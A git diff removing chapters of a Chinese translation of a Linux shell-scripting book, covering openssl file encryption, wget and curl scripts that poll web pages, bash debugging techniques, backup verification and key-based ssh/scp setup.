-有时您可能想要加密系统中的一些重要和/或机密文件。有些人把他们的密码存储在他们电脑上的一个文件中,这可能没问题,但前提是要使用某种类型的文件加密。有很多加密程序可用,这里我们将展示 OpenSSL。 - -OpenSSL 命令行工具非常受欢迎,很可能已经安装在您的计算机上(它默认出现在我的 CentOS 6.8 系统上)。它有几个选项和加密方法,但是我们将只介绍基础知识。 - -再次使用上面的`file1.txt`在您的系统上尝试以下操作: - -![File encryption](img/B07040_07_09.jpg) - -我们首先在`file1.txt`文件上执行求和,然后运行`openssl`。以下是语法: - -* `enc`:指定使用哪个编码,这里是`aes-256-cbc` -* `-in`:输入文件 -* `-out`:输出文件 -* `-d`:解密 - -运行`openssl`命令后,我们执行`ls -la`来验证输出文件是否确实已创建。 - -然后我们解密文件。注意文件的顺序和`-d`参数的添加(解密)。我们再做一次求和来验证结果文件是否与原始文件相同。 - -既然我没有办法一直输入它,让我们写一个快速的脚本来完成它: - -## 第七章-剧本 7 - -```sh -#!/bin/sh -# -# 6/2/2017 -# -echo "Chapter 7 - Script 7" - -if [ $# -ne 3 ] ; then - echo "Usage: script7 -e|-d infile outfile" - echo " Uses openssl to encrypt files." - echo " -e to encrypt" - echo " -d to decrypt" - exit 255 -fi - -PARM=$1 -INFILE=$2 -OUTFILE=$3 - -if [ ! -f $INFILE ] ; then - echo "Input file $INFILE does not exist." - exit 100 -fi - -if [ "$PARM" = "-e" ] ; then - echo "Encrypting" - openssl enc -aes-256-cbc -in $INFILE -out $OUTFILE -elif [ "$PARM" = "-d" ] ; then - echo "Decrypting" - openssl enc -aes-256-cbc -d -in $INFILE -out $OUTFILE -else - echo "Please specify either -e or -d." - exit 101 -fi - -ls -la $OUTFILE - -echo "End of script7" -exit 0 -``` - -下面是截图: - -![Chapter 7 - Script 7](img/B07040_07_10.jpg) - -这显然比键入(或试图记住)openssl 的语法容易得多。可以看到,得到的解密文件(`file2.txt`)与`file1.txt`文件相同。 - -# 总结 - -在本章中,我们展示了如何使用重定向操作符写出文件,以及如何使用(格式正确的)`read`命令读取文件。将文件内容转换为变量,以及校验和和文件加密的使用。 - -在下一章中,我们将了解一些可以用来从互联网上的网页收集信息的实用程序。 \ No newline at end of file diff --git a/docs/linux-shell-script-bc/08.md b/docs/linux-shell-script-bc/08.md deleted file mode 100644 index 93816025..00000000 --- a/docs/linux-shell-script-bc/08.md +++ /dev/null @@ -1,301 +0,0 @@ -# 八、使用`wget`和`curl` - -本章将展示如何使用`wget`和`curl`直接从互联网收集信息。 - -本章涵盖的主题有: - -* 展示如何使用`wget`获取信息。 -* 展示如何使用`curl`获取信息。 - -能够以这种方式收集数据的脚本是您可以使用的非常强大的工具。正如你将从本章中看到的,你可以从世界任何地方的网站上自动获得股票报价、湖泊水位,几乎任何东西。 - -# 介绍 wget 程序 - -您可能已经听说过甚至使用过`wget`程序。这是一个命令行实用程序,可用于从互联网下载文件。 - -下面是以最简单的形式展示`wget`的截图: - -![Introducing the wget program](img/B07040_08_01.jpg) - -## wget 选项 - -在输出中可以看到`wget`从我的[jklewis.com](http://jklewis.com)网站下载了`index.html`文件。 - -这是对`wget`的默认行为。标准用法是: - -```sh - wget [options] URL -``` - -其中**网址**代表**统一资源定位器**,或网站地址。 - -这里只是`wget`众多可用选项的简短列表: - - -| - -参数 - - | - -说明 - - | -| --- | --- | -| `-o` | `log`文件,消息会写到这里而不是写到`STDOUT` | -| `-a` | 与`-o`相同,只是它附加到`log`文件中 | -| `-O` | 输出文件,将文件复制到此名称 | -| `-d` | 打开调试 | -| `-q` | 安静模式 | -| `-v` | 详细模式 | -| `-r` | 递归模式 | - -让我们试试另一个例子: - -![wget options](img/B07040_08_02.jpg) - -在这种情况下使用了`-o`选项。返回代码已检查,代码`0`表示无故障。没有输出,因为它指向由`cat`命令显示的`log`文件。 - -在这种情况下使用了`-o`选项,将输出写入文件。没有显示输出,因为它指向`log`文件,然后由`cat`命令显示。检查了`wget`的返回代码,`0`的代码表示没有故障。 - -请注意,这次它将下载的文件命名为`index.html.1`。这是因为`index.html`是在前面的例子中创建的。这个应用的作者这样做是为了避免覆盖以前下载的文件。非常好! - -请看下一个例子: - -![wget options](img/B07040_08_03.jpg) - -这里我们告诉`wget`下载给定的文件(`shipfire.gif`)。 - -在下一张截图中,我们展示了`wget`将如何返回一个有用的错误代码: - -![wget options](img/B07040_08_04.jpg) - -## wget 返回代码 - -出现这个错误是因为我的网站上的基础目录中没有名为`shipfire100.gif`的文件。注意输出如何显示 **404 未找到**消息,这在网络上经常看到。通常,这意味着请求的资源在当时不可用。在这种情况下,文件不在那里,因此会出现该消息。 - -还要注意`wget`是如何返回`8`错误代码的。`wget`的手册页显示了`wget`可能的退出代码: - - -| - -错误代码 - - | - -说明 - - | -| --- | --- | -| `0` | 没有出现任何问题。 | -| `1` | 通用错误代码。 | -| `2` | 分析错误。例如,当解析命令行选项时,`.wgetrc`或`.netrc`文件 | -| `3` | 文件输入/输出错误。 | -| `4` | 网络故障。 | -| `5` | SSL 验证失败。 | -| `6` | 用户名/密码验证失败。 | -| `7` | 协议错误。 | -| `8` | 服务器发出了错误响应。 | - -回到 T2 很有意义。服务器找不到文件,因此返回了一个`404`错误代码。 - -## wget 配置文件 - -现在是提到不同`wget`配置文件的好时机。主要有两个文件,`/etc/wgetrc`是全局`wget`启动文件的默认位置。在大多数情况下,您可能不应该编辑它,除非您真的想要做出影响所有用户的更改。文件`$HOME/.wgetrc`是放置任何你想要的选项的更好的地方。一个很好的方法是在文本编辑器中打开`/etc/wgetrc`和`$HOME/.wgetrc`,然后将你想要的小节复制到你的`$HOME./wgetrc`文件中。 - -有关`wget`配置文件的更多信息,请参考`man`页面(`man wget`)。 - -现在让我们看看`wget`在行动。我前阵子写了这篇文章来记录我过去划船的那个湖的水位: - -### 第八章-剧本 1 - -```sh -#!/bin/sh -# 6/5/2017 -# Chapter 8 - Script 1 - -URL=http://www.arlut.utexas.edu/omg/weather.html -FN=weather.html -TF=temp1.txt # temp file -LF=logfile.txt # log file - -loop=1 -while [ $loop -eq 1 ] -do - rm $FN 2> /dev/null # remove old file - wget -o $LF $URL - rc=$? - if [ $rc -ne 0 ] ; then - echo "wget returned code: $rc" - echo "logfile:" - cat $LF - - exit 200 - fi - - date - grep "Lake Travis Level:" $FN > $TF - cat $TF | cut -d ' ' -f 12 --complement - - sleep 1h -done - -exit 0 -``` - -本次产量为 2017 年 6 月 5 日起。不需要看太多,但这里有: - -![Chapter 8 - Script 1](img/B07040_08_05.jpg) - -从脚本和输出可以看出,它每小时运行一次。如果你想知道为什么有人会写这样的东西,我需要知道湖面是否低于 640 英尺,因为我必须把我的船移出码头。这是在德克萨斯州严重干旱的时候。 - -编写这样的脚本时,有几件事要记住: - -* 当首次编写脚本时,手动执行一次`wget`,然后使用下载的文件。 -* 短时间内不要多次使用`wget`,否则可能会被网站屏蔽。 -* 请记住,HTML 程序员喜欢一直改变事情,所以你可能必须相应地调整你的脚本。 -* 当你最终得到正确的脚本时,一定要再次激活`wget`。 - -# wget 和递归 - -`wget`程序也可以通过使用递归(`-r`)选项来下载整个网站的内容。 - -例如,请看下面的截图: - -![wget and recursion](img/B07040_08_06.jpg) - -no verbose ( `-nv`)选项用于限制输出。`wget`命令完成后,使用 more 命令查看日志内容。根据文件的数量,输出可能会很长。 - -使用`wget`时可能会遇到意想不到的问题。它可能得不到任何文件,也可能得到一些文件,但不是全部。如果没有任何合理的错误信息,它甚至可能会失败。如果发生这种情况,请仔细查看`man`页面(`man wget`)。可能有一个选项可以帮你解决问题。特别看下面。 - -在您的系统上运行`wget --version`。它将显示选项和功能的详细列表,以及`wget`是如何编译的。 - -下面是一个取自我运行 CentOS 6.8 64 位的系统的例子: - -![wget and recursion](img/B07040_08_07.jpg) - -# wget 选项 - -通常`wget`使用的默认值对大多数用户来说已经足够好了,但是,您可能需要不时调整一些东西,让它按照您想要的方式工作。 - -以下是一些`wget`选项的部分列表: - - -| - -wget 选项 - - | - -说明 - - | -| --- | --- | -| `-o`文件名 | 将消息输出到`log`文件。本章前面已经介绍过了。 | -| `-t`号 | 在放弃连接之前,请尝试多次。 | -| `-c` | 继续从先前的`wget`下载部分下载的文件。 | -| `-S` | 显示服务器发送的邮件头。 | -| `-Q`号 | 将下载的配额或字节总数。数字可以是字节、千字节(k)或兆字节(m)。设置为 0 或 inf 表示没有配额。 | -| `-l`号 | 这指定了最大递归级别。默认值为 5。 | -| `-m` | 这对于尝试创建站点的镜像非常有用。相当于使用`-r -N -l inf --no-remove-listing`选项。 | - -你可以尝试的另一件事情是用`-d`选项开启调试。请注意,只有当您的版本`wget`在调试支持下编译时,这才会起作用。让我们看看当我在我的系统上尝试它时会发生什么: - -![wget options](img/B07040_08_08.jpg) - -我不确定调试是否打开,现在我知道了。这个输出可能不是很有用,除非你是一个开发人员,但是,如果你需要在`wget`发送一个错误报告,他们会要求调试输出。 - -可以看到,`wget`是一个非常强大的程序,有几个选项。 - -### 注 - -记得小心使用`wget`,不要忘记在循环中至少睡一分钟。一个小时会更好。 - -# 卷曲 - -现在让我们看看`curl`程序,因为它有点类似于`wget`。`wget`和`curl`的主要区别之一是它们如何处理输出。 - -`wget`程序默认在屏幕上显示一些进度信息,然后下载`index.html`文件。相比之下,`curl`通常在屏幕上显示文件本身。 - -下面是一个使用我最喜欢的网站在我的系统上运行`curl`的例子(截图缩短以节省空间): - -![curl](img/B07040_08_09.jpg) - -另一种将输出放入文件的方法是使用如下重定向: - -![curl](img/B07040_08_10.jpg) - -您会注意到,当重定向到文件时,屏幕上会显示传输进度。还要注意,如果重定向,任何错误输出都会进入文件,而不是屏幕。 - -## 卷曲选项 - -以下是 curl 中可用选项的简要列表: - - -| - -卷曲选项 - - | - -说明 - - | -| --- | --- | -| `-o` | 输出文件名 | -| `-s` | 静音模式。什么都没有显示,甚至没有错误 | -| `-S` | 在静默模式下显示错误 | -| `-v` | 冗长,对调试有用 | - -`curl`还有很多其他选项,还有几页返回码。更多信息请参考`curl man`页面。 - -现在这里有一个脚本,显示如何使用 curl 自动获得道琼斯工业平均指数的当前值: - -### 第八章-剧本 2 - -```sh -#!/bin/sh -# 6/6/2017 -# Chapter 8 - Script 2 - -URL="https://www.google.com/finance?cid=983582" -FN=outfile1.txt # output file -TF=temp1.txt # temp file for grep - -loop=1 -while [ $loop -eq 1 ] -do - rm $FN 2> /dev/null # remove old file - curl -o $FN $URL # output to file - rc=$? - if [ $rc -ne 0 ] ; then - echo "curl returned code: $rc" - echo "outfile:" - cat $FN - - exit 200 - fi - - echo "" # carriage return - date - grep "ref_983582_l" $FN > $TF - echo -n "DJIA: " - cat $TF | cut -c 25-33 - - sleep 1h -done - -exit 0 -``` - -这是它在我的系统上的样子。通常情况下,您可能会使用`-s`选项将进度信息从输出中删除,但我认为它看起来很酷,因此将其保留在: - -![Chapter 8 - Script 2](img/B07040_08_11.jpg) - -你可以看到`curl`和`wget`的工作方式基本相同。请记住,在编写这样的脚本时,要记住页面的格式几乎肯定会不时地改变,所以要做好相应的计划。 - -# 总结 - -在本章中,我们展示了如何在脚本中使用`wget`和`curl`。这些程序的默认行为显示为许多选项中的一些。还讨论了返回代码,并给出了几个示例脚本。 - -下一章将介绍如何更容易地调试脚本中的语法和逻辑错误。 \ No newline at end of file diff --git a/docs/linux-shell-script-bc/09.md b/docs/linux-shell-script-bc/09.md deleted file mode 100644 index 4ecf4917..00000000 --- a/docs/linux-shell-script-bc/09.md +++ /dev/null @@ -1,570 +0,0 @@ -# 九、调试脚本 - -本章展示了如何调试 Bash shell 脚本。 - -用任何语言编程,无论是 C 语言、Java 语言、FORTRAN 语言、COBOL*语言还是 Bash 语言,都是非常有趣的。然而,通常不有趣的是当事情出错时,当发现问题并解决它花费了过多的时间时。本章将试图向读者展示如何避免一些更常见的语法和逻辑错误,以及如何在错误发生时找到它们。 - -*COBOL:好吧,我不得不说用 COBOL 编程从来都不好玩! - -本章涵盖的主题有: - -* 如何防止一些常见的语法和逻辑错误? -* Shell 调试命令如`set -x`、`set -v`。 -* 设置调试的其他方法。 -* 重定向如何用于实时调试? - -# 语法错误 - -没有什么比在编写脚本或程序时陷入困境,然后出现语法错误更令人沮丧的了。在某些情况下,解决方案非常简单,你可以马上找到并解决它。在其他情况下,可能需要几分钟甚至几个小时。这里有几点建议: - -编码一个循环时,先把整个`while...do...done`结构放进去。有时候真的很容易忘记结尾`done`语句,尤其是代码跨度超过一页的时候。 - -看一下*脚本 1* : - -## 第九章-剧本 1 - -```sh -#!/bin/sh -# -# 6/7/2017 -# -echo "Chapter 9 - Script 1" - -x=0 -while [ $x -lt 5 ] -do - echo "x: $x" - let x++ - -y=0 -while [ $y -lt 5 ] -do - echo "y: $y" - let y++ -done - -# more code here -# more code here - -echo "End of script1" -exit 0 -``` - -而这里是输出: - -![Chapter 9 - Script 1](img/B07040_09_01.jpg) - -仔细看这个,上面说错误在**第 26 行**。哇,这怎么可能,文件只有 25 行?简单的答案是,这只是 Bash 解释器处理这种情况的方式。如果你还没有找到 bug,它实际上在第 12 行。这就是`done`语句应该出现的地方,我故意省略了它,导致了错误。现在想象一下如果这是一个很长的剧本。根据具体情况,可能需要很长时间才能找到导致问题的线路。 - -现在看一下*脚本 2* ,这只是*脚本 1* 加上一些附加的`echo`语句: - -## 第九章-剧本 2 - -```sh -#!/bin/sh -# -# 6/7/2017 -# -echo "Chapter 9 - Script 2" - -echo "Start of x loop" -x=0 -while [ $x -lt 5 ] -do - echo "x: $x" - let x++ - -echo "Start of y loop" -y=0 -while [ $y -lt 5 ] -do - echo "y: $y" - let y++ -done - -# more code here -# more code here - -echo "End of script2" -exit 0 -``` - -以下是输出: - -![Chapter 9 - Script 2](img/B07040_09_02.jpg) - -你可以看到`echo`语句`Start of x loop`显示出来了。然而,第二个,`Start of y loop`没有显示。这给了你一个好主意,错误在第二个`echo`语句之前的某个地方。在这种情况下,它之前是正确的,但不要指望每次都那么幸运。 - -# 自动备份 - -现在为了获得一点免费的编程建议,在[第 4 章](04.html "Chapter 4. Creating and Calling Subroutines")、*创建和调用子程序*中提到了自动备份文件。我强烈建议你在写稍微复杂一点的东西时,使用这样的东西。没有什么比在你的程序或脚本上工作并且进行得很顺利,只是做了一些改变并且以某种奇怪的方式失败更令人沮丧的了。几分钟前你让它工作然后砰!它有一个缺点,你不能弄清楚是什么变化导致的。如果你没有一个编号的备份,你可能会花上几个小时(也许几天)试图找到错误。我见过人们花几个小时撤销每一个变更,直到发现问题。是的,我也做过。 - -显然,如果你有一个编号备份,你可以简单地回去,找到最新的一个没有故障。然后,您可以区分两个版本,可能会很快发现错误。没有编号备份,你只能靠自己。不要做我做过的事,等 2 年或更久才意识到这一切。 - -# 更多语法错误 - -shell 脚本的一个基本问题是语法错误通常不会出现,直到解释器解析出有问题的行。这是一个常见的错误,我仍然发现自己做得太多了。看看能不能通过阅读脚本找到问题所在: - -## 第九章-剧本 3 - -```sh -#!/bin/sh -# -# 6/7/2017 -# -echo "Chapter 9 - Script 3" - -if [ $# -ne 1 ] ; then - echo "Usage: script3 parameter" - exit 255 -fi - -parm=$1 -echo "parm: $parm" - -if [ "$parm" = "home" ] ; then - echo "parm is home." -elif if [ "$parm" = "cls" ] ; then - echo "parm is cls." -elif [ "$parm" = "end" ] ; then - echo "parm is end." -else - echo "Unknown parameter: $parm" -fi - -echo "End of script3" -exit 0 -``` - -以下是的输出: - -![Chapter 9 - Script 3](img/B07040_09_03.jpg) - -你发现我的错误了吗?当我编写一个`if...elif...else`语句时,我倾向于复制并粘贴第一个`if`语句。然后我将`elif`添加到下一个语句中,但是忘记删除`if`。我几乎每次都是这样。 - -看看我是怎么运行这个脚本的。我首先从调用`Usage`子句的脚本名称开始。你可能会发现解释器没有报告语法错误很有趣。那是因为它从来没有涉及到那条线。这对于脚本来说可能是一个真正的问题,因为它可能会运行几天、几周甚至几年,然后运行一部分有语法错误的代码,然后失败。在编写和测试脚本时,请记住这一点。 - -下面是另一个经典语法错误的快速例子(我刚才又犯了一次经典错误): - -```sh -for i in *.txt - echo "i: $i" -done -``` - -运行时,它输出以下内容: - -```sh -./script-bad: line 8: syntax error near unexpected token `echo' -./script-bad: line 8: ` echo "i: $i"' -``` - -你能发现我的错误吗?如果没有再看。`for`语句后的`do`语句我忘了。坏吉姆! - -脚本中最容易出错的一件事就是忘记变量前面的`$`。如果您用其他语言(如 C 或 Java)编写代码,情况尤其如此,因为您不会在这些语言的变量前添加`$`。我在这里能给出的唯一真正的建议是,如果你的脚本似乎没有做任何正确的事情,检查你所有的变量`$`。但是要小心,不要走得太远,开始把它们添加到不属于它们的地方! - -# 逻辑错误 - -现在我们来谈谈逻辑错误。这些可能很难诊断,不幸的是我没有任何神奇的方法来避免这些。然而,有一些事情可以指出来帮助找到他们。 - -编码的一个常见问题是什么叫做 1 错误。这是由 60 年代计算机语言设计者决定从 0 而不是 1 开始给事物编号造成的。计算机会很高兴地在你想让它们计数的任何地方开始计数,而且从不抱怨,但是大多数人在 1 开始计数时往往会做得更好。我的大多数同行可能不同意这一点,但是因为我总是必须通过 1 个缺陷来修正他们的错误,所以我修改了我的评论。 - -让我们看看下面这个非常简单的脚本: - -## 第九章-剧本 4 - -```sh -#!/bin/sh -# -# 6/7/2017 -# -echo "Chapter 9 - Script 4" - -x=0 -while [ $x -lt 5 ] -do - echo "x: $x" - let x++ -done - -echo "x after loop: $x" -let maxx=x - -y=1 -while [ $y -le 5 ] -do - echo "y: $y" - let y++ -done - -echo "y after loop: $y" -let maxy=y-1 # must subtract 1 - -echo "Max. number of x: $maxx" -echo "Max. number of y: $maxy" - -echo "End of script4" -exit 0 -``` - -而输出: - -![Chapter 9 - Script 4](img/B07040_09_04.jpg) - -看看两个循环之间的细微差别: - -* 在`x`循环中,计数从`0`开始。 -* `x`在小于`5`时递增。 -* 循环后`x`的值为`5`。 -* 应该等于迭代次数的变量`maxx`被设置为`x`。 -* 在 y 循环中,计数从`1`开始。 -* `y`在小于或等于`5`时递增。 -* 循环后`y`的值为`6`。 -* 应该等于迭代次数的变量`maxy`被设置为`y-1`。 - -如果你已经很好地理解了上面的内容,你可能永远不会有 1 分错误的问题,这很好。 - -对我们其他人来说,我建议仔细检查一下,直到你把它弄对为止。 - -# 使用 set 调试脚本 - -您可以使用`set`命令来帮助调试您的脚本。`set`、`x`和`v`共有两种选择。下面是每一个的描述。 - -请注意,a `-`激活器械包,而 a `+`禁用器械包。如果你觉得这是倒退,那是因为这是倒退。 - -使用: - -* `set -x`:运行命令前显示展开的轨迹 -* `set -v`:显示解析后的输入行 - -看看*脚本 5* ,它展示了`set -x`的功能: - -## 第九章-剧本 5 和剧本 6 - -```sh -#!/bin/sh -# -# 6/7/2017 -# -set -x # turn debugging on - -echo "Chapter 9 - Script 5" - -x=0 -while [ $x -lt 5 ] -do - echo "x: $x" - let x++ -done - -echo "End of script5" -exit 0 -``` - -而输出: - -![Chapter 9 - Script 5 and Script 6](img/B07040_09_05.jpg) - -如果这个一开始看起来有点奇怪,别担心,越看越容易。本质上,以`+`开头的行是扩展的源代码行,没有`+`的行是脚本的输出。 - -看前两行。它显示: - -```sh - + echo 'Chapter 9 - Script 5' - Chapter 9 - Script 5 -``` - -第一行显示扩展的命令,第二行显示输出。 - -也可以使用`set -v`选项。这里是*剧本 6* 的截图,只是*剧本 5* 但是这次有了`set -v`: - -![Chapter 9 - Script 5 and Script 6](img/B07040_09_06.jpg) - -你可以看到输出有很大的不同。 - -请注意,使用`set`命令,您可以在脚本中的任意点打开和关闭它们。这样您就可以将输出限制在您感兴趣的代码区域。 - -让我们看一个例子: - -## 第九章-剧本 7 - -```sh -#!/bin/sh -# -# 6/8/2017 -# -set +x # turn debugging off - -echo "Chapter 9 - Script 7" - -x=0 -for fn in *.txt -do - echo "x: $x - fn: $fn" - array[$x]="$fn" - let x++ -done - -maxx=$x -echo "Number of files: $maxx" - -set -x # turn debugging on - -x=0 -while [ $x -lt $maxx ] -do - echo "File: ${array[$x]}" - let x++ -done - -set +x # turn debugging off - -echo "End of script7" -exit 0 -``` - -和的输出: - -![Chapter 9 - Script 7](img/B07040_09_07.jpg) - -请注意在脚本开始时调试是如何被显式关闭的,尽管默认情况下是关闭的。这是一个很好的方法来记录它什么时候关闭,什么时候打开。仔细查看输出,看看调试语句是如何在数组的第二个循环之前不开始显示的。然后在运行最后两行之前将其关闭。 - -使用`set`命令时的输出有时会很难看到,所以这是一个很好的方法来限制你必须涉水到达感兴趣的行。 - -还有一种我经常使用的调试技术。在许多情况下,我认为使用`set`命令更好,因为显示屏不会变得非常混乱。您可能还记得在[第 6 章](06.html "Chapter 6. Automating Tasks with Scripts")、*使用脚本自动执行任务*中,我们能够向其他终端显示输出。这是一个非常方便的特性。 - -以下脚本显示了如何在另一个终端中显示输出。为了方便起见,使用了一个子程序: - -## 第九章-剧本 8 - -```sh -#!/bin/sh -# -# 6/8/2017 -# -echo "Chapter 9 - Script 8" -TTY=/dev/pts/35 # TTY of other terminal - -# Subroutines -p1() # display to TTY -{ - rc1=0 # default is no error - if [ $# -ne 1 ] ; then - rc1=2 # missing parameter - else - echo "$1" > $TTY - rc1=$? # set error status of echo command - fi - - return $rc1 -} - -# Code -p1 # missing parameter -echo $? - -p1 Hello -echo $? - -p1 "Linux Rules!" -echo $? - -p1 "Programming is fun!" -echo $? - -echo "End of script8" -exit 0 -``` - -和的输出: - -![Chapter 9 - Script 8](img/B07040_09_08.jpg) - -切记将参数引用到`p1`中,以防包含空白字符。 - -这个子例程对于调试来说可能有点矫枉过正,但是它抓住了本书前面讨论的许多概念。这种方法也可以在脚本中使用,以在多个终端中显示信息。我们将在下一章讨论这个问题。 - -### 类型 - -向终端写入时,如果您收到类似以下内容的消息: - -`./script8: line 26: /dev/pts/99: Permission denied` - -这可能意味着终端还没有打开。还记得把你的终端设备字符串放入一个变量,因为这些字符串往往会在重启后改变。类似`TTY=/dev/pts/35`的东西是个好主意。 - -使用这种调试技术的最佳时机是在编写表单脚本时,就像我们在[第 5 章](05.html "Chapter 5. Creating Interactive Scripts")、*创建交互脚本*中所做的那样。所以,让我们再次看一下这个脚本,并使用这个新的子例程。 - -## 第九章-剧本 9 - -```sh -#!/bin/sh -# 6/8/2017 -# Chapter 9 - Script 9 -# -TTY=/dev/pts/35 # debug terminal - -# Subroutines -cls() -{ - tput clear -} - -move() # move cursor to row, col -{ - tput cup $1 $2 -} - -movestr() # move cursor to row, col -{ - tput cup $1 $2 - echo -n "$3" # display string -} - -checktermsize() -{ - p1 "Entering routine checktermsize." - - rc1=0 # default is no error - if [[ $LINES -lt $1 || $COLUMNS -lt $2 ]] ; then - rc1=1 # set return code - fi - return $rc1 -} - -init() # set up the cursor position array -{ - p1 "Entering routine init." - - srow[0]=2; scol[0]=7 # name - srow[1]=4; scol[1]=12 # address 1 - srow[2]=6; scol[2]=12 # address 2 - srow[3]=8; scol[3]=7 # city - srow[4]=8; scol[4]=37 # state - srow[5]=8; scol[5]=52 # zip code - srow[6]=10; scol[6]=8 # email -} - -drawscreen() # main screen draw routine -{ - p1 "Entering routine drawscreen." - - cls # clear the screen - movestr 0 25 "Chapter 9 - Script 9" - movestr 2 1 "Name:" - movestr 4 1 "Address 1:" - movestr 6 1 "Address 2:" - movestr 8 1 "City:" - movestr 8 30 "State:" - movestr 8 42 "Zip code:" - movestr 10 1 "Email:" -} - -getdata() -{ - p1 "Entering routine getdata." - - x=0 # array subscript - rc1=0 # loop control variable - while [ $rc1 -eq 0 ] - do - row=${srow[x]}; col=${scol[x]} - - p1 "row: $row col: $col" - - move $row $col - read array[x] - let x++ - if [ $x -eq $sizeofarray ] ; then - rc1=1 - fi - done - return 0 -} - -showdata() -{ - p1 "Entering routine showdata." - - fn=0 - echo "" - read -p "Enter filename, or just Enter to skip: " filename - if [ -n "$filename" ] ; then # if not blank - echo "Writing to '$filename'" - fn=1 # a filename was given - fi - echo "" # skip 1 line - echo "Data array contents: " - y=0 - while [ $y -lt $sizeofarray ] - do - echo "$y - ${array[$y]}" - if [ $fn -eq 1 ] ; then - echo "$y - ${array[$y]}" >> "$filename" - fi - let y++ - done - return 0 -} - -p1() # display to TTY -{ - rc1=0 # default is no error - if [ $# -ne 1 ] ; then - rc1=2 # missing parameter - else - echo "$1" > $TTY - rc1=$? # set error status of echo command - fi - - return $rc1 -} - -# Code starts here - -p1 " " # carriage return -p1 "Starting debug of script9" - -sizeofarray=7 # number of array elements - -if [ "$1" = "--help" ] ; then - p1 "In Usage clause." - - echo "Usage: script9 --help" - echo " This script shows how to create an interactive screen program" - echo " and how to use another terminal for debugging." - exit 255 -fi - -checktermsize 25 80 -rc=$? -if [ $rc -ne 0 ] ; then - echo "Please size the terminal to 25x80 and try again." - exit 1 -fi - -init # initialize the screen array -drawscreen # draw the screen -getdata # cursor movement and data input routine -showdata # display the data - -p1 "At exit." -exit 0 -``` - -这里是调试端(`dev/pts/35`)的输出: - -![Chapter 9 - Script 9](img/B07040_09_09.jpg) - -通过在另一个终端上显示调试信息,可以更容易地看到代码中发生了什么。 - -你可以把程序放到你认为可能有问题的地方。标记正在使用的子例程也可以帮助定位问题是在子例程中还是在主代码体中。 - -当您的脚本完成并准备好使用时,您不必删除对`p1`例程的调用,除非您真的想这样做。你可以在例程的顶部编写一个`return 0`。 - -我在调试 shell 脚本或 C 程序时使用这种方法,它对我来说一直很有效。 - -# 总结 - -在本章中,我们解释了如何防止一些常见的语法和逻辑错误。还描述了 Shell 调试命令`set -x`和`set -v`。使用重定向将输出从一个脚本发送到另一个终端也被显示为一种实时调试的方式。 - -在下一章中,我们将讨论脚本最佳实践。这包括仔细备份你的工作和选择一个好的文本编辑器。还将讨论通过使用环境变量和别名来帮助您更高效地使用命令行的方法。 \ No newline at end of file diff --git a/docs/linux-shell-script-bc/10.md b/docs/linux-shell-script-bc/10.md deleted file mode 100644 index c47bf4c6..00000000 --- a/docs/linux-shell-script-bc/10.md +++ /dev/null @@ -1,309 +0,0 @@ -# 十、脚本最佳实践 - -这一章解释了一些实践和技术,将帮助读者成为一个更好和更有效率的程序员。 - -在本章中,我们将讨论我认为的脚本(或编程)最佳实践。自从 1977 年开始编写计算机程序以来,我在这个领域积累了相当多的经验。我很乐意教人们关于计算机的知识,希望我的想法会有所帮助。 - -涵盖的主题如下: - -* 将再次讨论备份,包括验证 -* 我将解释如何选择一个您熟悉的文本编辑器并学习它的功能 -* 我将介绍一些基本的命令行项目,例如使用良好的提示符、命令完成、环境变量和别名 -* 我会提供一些奖励脚本 - -# 验证备份 - -我已经在这本书里至少讲过两次备份,这将是我最后一次保证。创建您的备份脚本,并确保它们在应该运行的时候运行。但是有一件事我还没有谈到,那就是备份的验证。你可能在某个地方有 10 万亿个备份,但它们真的有用吗?你上次检查是什么时候? - -当使用`tar`命令时,如果遇到任何存档问题,它将在运行结束时报告。一般来说,如果它没有显示任何错误,备份可能是好的。将`tar`与`-t (tell)`选项一起使用,或者在本地或远程机器上实际提取它,也是确定存档是否成功的好方法。 - -### 注 - -注意:使用 tar 时,一个常见的错误是在当前正在更新的备份中包含一个文件。 - -这里有一个相当明显的例子: - -```sh -guest1 /home # tar cvzf guest1.gz guest1/ | tee /home/guest1/temp/mainlogs`date '+%Y%m%d'`.gz -``` - -`tar`命令可能不认为这是一个错误,但通常会报告它,所以一定要检查这一点。 - -另一个常见的备份错误是没有将文件复制到另一台电脑或外部设备。如果您擅长备份,但它们都在同一台机器上,最终硬盘和/或控制器会出现故障。您也许能够恢复数据,但为什么要冒这个险呢?将您的文件复制到至少一个外部驱动器和/或计算机上,并确保安全。 - -关于备份,我将提到最后一件事。确保将备份发送到异地位置,最好是另一个城市、州、大陆或星球。你真的不能太小心你的有价值的数据。 - -# ssh 和 scp - -对远程计算机使用`scp`也是一个非常好的主意,我的备份程序每天晚上也会这样做。下面是如何设置无人值守`ssh` / `scp`。在这种情况下,机器 1 (M1)上的根帐户将能够将`scp`文件发送到机器 2 (M2)上的`guest1`帐户。我这样做是因为出于安全原因,我总是在我的所有机器上禁用`ssh` / `scp`的根访问。 - -1. 首先确保`ssh`在每台机器上至少运行一次。这将设置一些需要的目录和文件。 -2. 在 M1 上,在`root`下,运行`ssh-keygen -t rsa`命令。这将在`/root/.ssh`目录中创建文件`id_rsa.pub`。 -3. 使用`scp`将文件复制到 M2 的`/tmp`目录(或其他合适的位置)。 -4. 上 M2 去/ `home/guest1/.ssh directory`。 -5. 如果已经有`authorized_keys`文件,编辑它,否则创建它。 -6. 将`/tmp/id_rsa.pub`文件中的行复制到`authorized_keys`文件中保存。 - -通过使用`scp`将文件从 M1 复制到 M2 来测试这一点。它应该可以在不提示输入密码的情况下工作。如果有任何问题,请记住,这必须为每个想要执行无人值守`ssh` / `scp`的用户设置。 - -如果你有一个**互联网服务提供商** ( **互联网服务提供商**)为宋承宪提供你的账户,这个方法也应该在那里起作用。我一直用它,真的很方便。使用这种方法,您可以让脚本生成一个 HTML 文件,然后将其复制到您的网站。动态生成 HTML 页面是程序真正擅长的事情。 - -# 找到并使用好的文本编辑器 - -如果你只是偶尔写一些脚本或程序,那么 vi 对你来说可能已经足够好了。然而,如果你进入一些真正的深度编程,无论是在 Bash、C、Java 还是其他语言中,你都应该非常明确地查看一下在 Linux 上可用的其他一些文本编辑器。你几乎肯定会变得更有效率。 - -正如我之前提到的,我已经用电脑工作了很长时间。我开始在 DOS 上使用一个名为 Edlin 的编辑器,它相当弱(但仍然比打孔卡好)。我最终继续前进,开始在 AIX (IBM 的 UNIX 版本)上使用 vi。我非常擅长使用虚拟仪器,因为我们还没有任何其他选择。随着时间的推移,其他选择变得可用,我开始使用 IBM 个人编辑器。这些真的很容易使用,比 vi 